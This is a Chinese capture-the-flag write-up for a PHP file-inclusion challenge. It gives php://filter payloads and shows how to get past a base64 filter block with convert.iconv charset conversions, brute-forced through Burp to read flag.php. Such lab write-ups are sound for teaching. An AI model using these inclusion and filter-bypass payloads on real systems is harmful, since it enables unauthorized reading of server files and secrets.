WEB:file_include

背景知识

php伪协议

文件包含漏洞

php包含漏洞函数

题目

由题目可知这个是文件包含的题目,先用常用的协议先查看一下

payload

复制代码
?filename=php://filter/read=convert.base64-encode/resource=flag.php

出现了

发现filter,base64被过滤了

尝试其他协议

根据filter的绕过方法,可以使用iconv过滤器进行,这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

convery.iconv.*的使用有两种方法:

复制代码
convert.iconv.<input-encoding>.<output-encoding> 
convert.iconv.<input-encoding>/<output-encoding>

eg.convert.iconv.UCS-4*.UCS-4BE ---> 将指定的文件从UCS-4*转换为UCS-4BE 输出

这里并不清楚input-encoding和out-encoding具体是什么,可以简单猜想一下尝试,然后用bp抓包进行爆破

先设置尝试的payload

复制代码
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

设置目标

iconv支持的字符集有

复制代码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

得到flag

参考学习链接:

【愚公系列】2023年05月 攻防世界-Web(file_include)-腾讯云开发者社区-腾讯云

攻防世界-泰山杯-简单的文件包含 -- ZZ的IT部落

相关推荐
石小石Orz17 分钟前
浏览器的预检请求OPTIONS到底有什么用?
前端
落雪小轩韩21 分钟前
网格布局 CSS Grid
前端·css
parade岁月23 分钟前
Vue 3 父子组件模板引用的时序陷阱与解决方案
前端
xianxin_28 分钟前
CSS Outline(轮廓)
前端
moyu8428 分钟前
遮罩层设计与实现指南
前端
Pedantic37 分钟前
用 SwiftUI 打造一个 iOS「设置」界面
前端
timeweaver43 分钟前
深度解析 Nginx 前端 location 配置与优先级:你真的用对了吗?
前端·nginx·前端工程化
鲸落落丶44 分钟前
网络通信---Axios
前端
wwy_frontend1 小时前
React性能优化实战:从卡顿到丝滑的8个技巧
前端·react.js
小高0071 小时前
面试官:npm run build 到底干了什么?从 package.json 到 dist 的 7 步拆解
前端·javascript·vue.js